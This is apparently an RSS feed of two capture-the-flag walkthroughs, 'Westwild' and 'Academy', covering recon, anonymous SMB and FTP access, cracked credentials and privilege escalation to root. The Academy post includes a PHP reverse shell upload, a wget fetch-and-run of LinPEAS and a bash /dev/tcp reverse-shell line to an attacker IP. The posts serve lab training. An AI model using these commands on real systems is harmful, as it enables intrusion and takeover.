<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sanketh S on Medium]]></title>
        <description><![CDATA[Stories by Sanketh S on Medium]]></description>
        <link>https://medium.com/@sankethsankey28?source=rss-29cced2a7025------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Sanketh S on Medium</title>
            <link>https://medium.com/@sankethsankey28?source=rss-29cced2a7025------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 18:50:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sankethsankey28/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Westwild CTF walkthrough]]></title>
            <link>https://medium.com/@sankethsankey28/westwild-ctf-walkthrough-6a9cfb16b8fe?source=rss-29cced2a7025------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a9cfb16b8fe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Sanketh S]]></dc:creator>
            <pubDate>Thu, 16 Oct 2025 15:10:43 GMT</pubDate>
            <atom:updated>2025-10-16T15:10:43.048Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>by Sanketh S</strong></p><h3>Step 1: Finding the IP address of the target machine.</h3><p>The first step to hack any server or machine is to discover the IP address of that machine. In our case <strong>Byte_Eagle </strong>is running on the VMware which you can see in the below image where the IP address is displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*4ua5wLnjyXukrlim.png" /></figure><p>In many cases IP address will not be displayed, so we will use <strong>netdiscover </strong>tool to discover the IP addresses of all the machines which are connected to our Local Area Network (LAN) where the attacker machine and target machine are connected to the same network or WIFI. Through the assignment I will be using <strong>Kali Linux </strong>as a attacker machine and Byte_Eagle is our target machine.</p><p>Before using netdiscover we will first know the attacker machine (Kali Linux) IP address.</p><p>In Kali “<strong>ip a” </strong>command displayed the IP address as shown</p><p><strong>Step 1: Scan the target IP address using nmap.</strong></p><p>Now that we know the IP of the target machine which is <strong>192.168.0.127</strong>, the next step is to scan the IP address to know which ports are open and services are running on the target machine. We will use <strong>nmap </strong>to scan the IP address using command <strong>“nmap -A -p- 192.168.0.127”</strong>, where <strong>“-A” </strong>switch indicates Aggressive scan also know as All scan and <strong>“-p-” </strong>switch tells to scan all the 65,535 ports.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/0*h3aKA9JAnWso0nao.png" /></figure><p>Nmap scan discovered 4 ports which are <strong>22 — ssh, 80 — http, 139 &amp; 445 — netbios-ssn samba. </strong>Here we can try to login using ssh but we don’t know the password to login.</p><p>Next we will try to access <strong>port 80 </strong>using a browser where we got to know that there is a website running and a hint is given for the next step as show in the below image.</p><p>Hint says to follow the wave, which we don’t know what that means yet. So we will go to next step where we enumerate further on the target using <strong>enum4linux </strong>tool as the target machine is a linux based.</p><p><strong>Step 2: Enumerate using enum4linux tool.</strong></p><p>We will use <strong>enum4linux </strong>tool to enumerate the target machine using the command <strong>“enum4linux 192.168.0.127”</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*Mjg_vK6U4FPKJo2f.png" /></figure><p>As we get the scanning result we are getting many information on the target machine while scrolling down and now we came across share enumeration result as shown in the below image.</p><p>This information is very interesting as it contains the name “<strong>wave” </strong>in the sharename which was given in the website hint. <strong>Step 3: Exploit samba service by using smbclient tool.</strong></p><p>Now that we know that the target machine is running <strong>“samba service” </strong>we can use <strong>smbclient </strong>tool to enumerate the sharename <strong>wave </strong>using command <strong>“smbclient -N -L</strong></p><p><strong>\\192.168.0.127”, </strong>where <strong>-N </strong>switch tells not to ask password and <strong>-L </strong>is to list the host as shown in the below image.</p><p>The result show the <strong>“wave” </strong>in the sharename and now we will try to login as a anonymous user using the command shown below.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*v-NQ8YDWxQ5t8yxq.png" /></figure><p>As we can see that we got <strong>“smb: \&gt;” </strong>as a prompt to type commands. Now we use <strong>ls </strong>command to list the current directory as shown in the below image.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*3ZelvuKRGhziLVke.png" /></figure><p>This directory contains two files which we are about to download to our Kali machine but typing the command <strong>“get &lt;filename&gt;” </strong>which will download the mentioned file. You can refer the image given above and after that you can exit from the smb prompt.</p><p>After returning to <strong>Kali </strong>list the directory where we can see the files we downloaded using <strong>get </strong>command and now we can use the <strong>cat </strong>command to see the file contents as shown in the below image.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*YnqzGe8frmeBe9-2.png" /></figure><p>Here the first file contains some <strong>cipher text </strong>which we will try and decrypt. The second file which is written by the user <strong>aveng </strong>saying that he lost his password and user <strong>wave </strong>have to reset that, for now we keep this information in our mind and move on to the next step.</p><p><strong>Step 4: Cipher value decryption.</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/0*fKb3D6WW94CS7QKr.png" /></figure><p>There are many ways to detect the cipher value type and decrypt.</p><p>I will show you two easiest way to decrypt the cipher value which we found.</p><p><strong>First method </strong>is to use a web tool called <strong>“CyberChef”</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*Q4drWLOxwp2pTdf1.png" /></figure><p>As shown in the above image just drag and drop the <strong>magic </strong>word to the <strong>recipe </strong>field and paste the cipher value in the <strong>input. </strong>You will get the result in the <strong>output </strong>field which is below the input field. We got the decrypted value as shown in the below image.</p><p>In the result field we got the username and password along with the hash method used in this case <strong>base64 </strong>but before going to the next step I will show the second method to detect and decrypt the cipher value.</p><p><strong>Second method </strong>is also very easy and simple, go to the website called <strong>hashanalyzer </strong>and paste the cipher value you copied from the first FLAG file you downloaded and you will get the hash value which as shown in the below image.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*pMNt1KvqJuXquwS-.png" /></figure><p>The result shows that <strong>base64 </strong>is used to cipher the text. Now we can decrypt using the below command shown in the below image, where <strong>-d </strong>switch is used to decrypt the value.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*SjGH1a16H8frJZal.png" /></figure><p>Here <strong>echo </strong>is used to output the given value and “|” (pipe) is used to send the output to <strong>base64 </strong>which will decrypt the value. We got the <strong>username:wavex &amp; password:door+open </strong>which will be used to SSH login.</p><p><strong>Step 5: SSH to the target machine</strong></p><p>We will now ssh to the target machine using the username &amp; password we found in the <strong>step 5.</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*9Pxw-wGYa0iKHo4J.png" /></figure><p>As we can see in the above image, we were successfully logged into the machine using command <strong>“ssh wavex@192.168.0.127” </strong>and then password was asked for the user wavex which was given as door+open and logged in as wavex. Then we verified with the command <strong>whoami, </strong>which said wavex indicating that we are now the user wavex.</p><p><strong>Step 7: Escalating the privileges (user to root)</strong></p><p>Now that we have logged in as user <strong>wavex</strong>, our main goal is to become the root user where we get all the permissions. The first step is to look for the files and directories where we have the permission to write, for that we can use a tool called <strong>find, </strong>we can search for specific files and directories and filter the results. Using the command <strong>“find / -writable -type d 2&gt;/dev/null”, </strong>here “<strong>find” </strong>is the tool name “<strong>/” </strong>tells to start from the root directory <strong>“-writable” </strong>looks for the permission we must have <strong>“- type d” </strong>specifies that we are looking for the directory and <strong>“2&gt;/dev/null” </strong>redirects all the error messages and results to the dev/null directory.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*WNrIez3ciFS4jYdd.png" /></figure><p>Now that we have directories where we have writable permission, we are interested in the <strong>westsidesecret </strong>directory.</p><p>The below command changes the directory to that location.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*iSxT571CAYR7G2U2.png" /></figure><p>After we navigate to that directory and list the content using <strong>ls </strong>command we find one interesting bash script. We will run that bash script with the command <strong>“bash ififorget.sh”</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*gJsTsngxP3TzF4mI.png" /></figure><p>Result relives username and password which belongs to the user <strong>aveng.</strong></p><p>Switch to user <strong>aveng </strong>using the command <strong>“su aveng” </strong>and type the password when asked.</p><p>Now that we are user <strong>aveng, </strong>lets see if we can switch as <strong>root </strong>user, type command <strong>“sudo su” </strong>as shown in the below image.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*JdToK4dW0goOWp-N.png" /></figure><p>Now that we are root we can change our directory to root directory with the command <strong>“cd /root” </strong>and we will see the files stored there.</p><p>Above image shows that we successfully hacked into the target machine with the highest privileged user <strong>root </strong>and found the second flag file.</p><p>Before ending this we can try to change or set the password for the root user with the command <strong>“passwd” </strong>if the root password is not set, which was successful as shown in the below image.</p><p>Now that we are the <strong>root </strong>user, we have access to all files and directories where we have permission to add or delete any users,files and directories indicating that the target machine is fully compromised.</p><p><strong>THE END</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a9cfb16b8fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ACADAMY WALKTHROUGH]]></title>
            <link>https://medium.com/@sankethsankey28/acadamy-walkthrough-385dfb13d2c2?source=rss-29cced2a7025------2</link>
            <guid isPermaLink="false">https://medium.com/p/385dfb13d2c2</guid>
            <category><![CDATA[findtheflag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[acadamy]]></category>
            <dc:creator><![CDATA[Sanketh S]]></dc:creator>
            <pubDate>Thu, 16 Oct 2025 14:56:03 GMT</pubDate>
            <atom:updated>2025-10-16T14:56:03.710Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>by Sanketh S</strong></p><p><strong>Motive: To Capture user and root flags by Exploiting and indentifying vulnerabilities.</strong></p><p><strong>“Academy” is a Hack The Box machine rated Medium. It involves classic recon, FTP misuse, web directory brute-forcing, and privilege escalation via script abuse.</strong></p><h3>1. Reconnaissance</h3><p><strong>Tools Used:</strong> netdiscover, nmap, crackstation</p><h3>🔹Target Discovery</h3><pre>sudo netdiscover -i eth0</pre><ul><li>Identified the target IP on the local network.</li></ul><h3>🔹Port Scan</h3><pre>nmap 192.168.1.6</pre><ul><li>Found open ports: 21 (FTP), 22 (SSH), and 80 (HTTP).</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*y4f6YcbJi8jLrILc.png" /></figure><h3>🔹FTP Scan</h3><pre>nmap -p21 -sC 192.168.1.6</pre><ul><li>FTP allows <strong>anonymous login</strong>.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*nx5BCvjXOXderZmM.png" /></figure><h3>🔹FTP Access</h3><pre>ftp 192.168.1.6</pre><ul><li>Logged in without a password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/0*IbgFp4RmMXOlN68o.png" /></figure><ul><li>Found and downloaded note.txt.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Qfps1BplGiGI1eCz.png" /></figure><ul><li>Downloaded using get</li></ul><p><strong>Inside</strong>: note.txt</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*moFUhdbIxzsv8wIu.png" /></figure><p><strong>Crackstation: </strong>To crack the hashed password</p><p>Press enter or click to view image in full size</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*JnYHJj951M0lV9kX.png" /></figure><p>Student ID: 10201321</p><p>Password: cd73502828457d15655bbd7a63fb0bc8 == student</p><h3>2. Enumeration</h3><p><strong>Tools Used:</strong> FFUF</p><ul><li>HTTP port reveals a web server, which is the default</li></ul><p>Press enter or click to view image in full size</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*lACtpBcej88PBw4s.png" /></figure><ul><li>Used FFUF to find directories:</li></ul><pre>ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.6/FUZZ</pre><ul><li>Found: /academy, /phpmyadmin</li><li>/academy → Login page</li><li>Used credentials from the note.txt to <strong>log in as a student</strong></li></ul><p>Press enter or click to view image in full size</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*74mc0r9FyqoK0XyB.png" /></figure><ul><li>After successfully logging in, we can find student registration form in my profile</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*cv5ciZQLcTSAXq0r.png" /></figure><ul><li>There is an upload section that may be vulnerable to uploading malicious code for a reverse shell, so we use it to upload our payload.</li></ul><h3>3. Exploitation</h3><p><strong>Tools Used:</strong> Hack-tool, Netcat, LinPEAS</p><h3>🔹Step 1: PHP Reverse Shell using hat-cat</h3><ul><li>To gain an initial foothold, I used a <strong>PHP reverse shell</strong> from <strong>Pentestmonkey</strong>. This script establishes an outbound TCP connection to a specified IP address and port, enabling the attacker to obtain an interactive shell session on the target machine.</li><li>Listener on host: Before uploading the file use netcat to listen in the host machine</li></ul><pre>nc -nvlp 1234</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*o_UMqTTXUsyuCXpf.png" /></figure><h3>🔹 Step 2: Privilege Escalation Prep</h3><p>We don’t have any privilege at the moment, So we will do privilege escalation with the help of LinPeas. Firstly, we have to download linpeas.sh on attacker machine and have to start the http server to download it into the target machine</p><ul><li>Started a Python HTTP server:</li></ul><pre>python3 -m http.server 80</pre><ul><li>Downloaded LinPEAS to target via:</li></ul><pre>wget http://&lt;kali_ip&gt;/lin.sh<br>cd /tmp &amp;&amp; bash lin.sh</pre><p>This will run LinPEAS on the target machine</p><ul><li><strong>Observation:</strong> In the snapshot below, we can see that the user grimmie is an administrator and owns a file named backup.sh (OB1).</li></ul><p>Press enter or click to view image in full size</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*GGRj8NyRob_8tO7h.png" /></figure><ul><li><strong>Observation:</strong> In the snapshot below, we can see that grimmie’s password is exposed as My_V3ryS3cur3_P4ss (OB2).</li></ul><p>Press enter or click to view image in full size</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*1hNw8zOXHrw9YOex.png" /></figure><p>Password cracked:</p><pre>Username: grimmie<br>Password: My_V3ryS3cur3_P4ss</pre><h3>4. Privilege Escalation</h3><p><strong>Tools Used:</strong> pentestmonkey</p><ul><li><strong>SSH </strong>as grimmie:</li></ul><pre>ssh grimmie@192.168.1.6</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/0*x2rX1rDSKFF8Ce4h.png" /></figure><p>Since SSH was open, we could connect to the target using the above command. After entering the previously discovered password, we gained access as the user grimmie, who has administrative privileges.</p><p>Once logged in, listing the directory contents (ls) reveals a file named backup.sh. To capture the root flag, we need to escalate our privileges to root by leveraging this script.</p><pre>bash -i &gt;&amp; /dev/tcp/&lt;attacker_ip&gt;/8080 0&gt;&amp;1</pre><p>This command establishes a <strong>reverse shell</strong> from the target machine to my attack machine. Here’s how it works:</p><ul><li>bash -i: Launches Bash in <strong>interactive mode</strong>, allowing command input and output.</li><li>&amp;&gt;: Redirects both <strong>standard output (stdout)</strong> and <strong>standard error (stderr)</strong>.</li><li>/dev/tcp/&lt;attacker_ip&gt;/8080: This is a special Bash feature that opens a <strong>TCP connection</strong> to the attacker’s IP on port 8080.</li><li>0&gt;&amp;1: Redirects <strong>standard input (stdin)</strong> to the same TCP connection, completing the two-way communication.</li><li><strong>Started listener:</strong></li></ul><pre>nc -nvlp 8080</pre><ul><li>Waited for script to execute → <strong>Got root shell!</strong></li></ul><h3>5. Flag Captured</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*2T3BV27vswpuqwQ7.png" /></figure><h3>6. Conclusion</h3><p>This box demonstrated:</p><ul><li>Recon using netdiscover and nmap</li><li>Weak FTP configuration exploitation</li><li>Web enumeration with FFUF</li><li>Shell access via file upload</li><li>Privilege escalation by abusing root-owned cron scripts</li></ul><p><a href="https://medium.com/tag/academy-walkthrough?source=post_page-----e804d83f64fa---------------------------------------">Academy Walkthrough</a></p><p><a href="https://medium.com/tag/ctf?source=post_page-----e804d83f64fa---------------------------------------">Ctf</a></p><p><a href="https://medium.com/tag/hacking?source=post_page-----e804d83f64fa---------------------------------------">Hacking</a></p><p><a href="https://medium.com/tag/privilege-escalation?source=post_page-----e804d83f64fa---------------------------------------">Privilege Escalation</a></p><p><a href="https://medium.com/tag/cybersecurity?source=post_page-----e804d83f64fa---------------------------------------">Cybersecurity</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=385dfb13d2c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>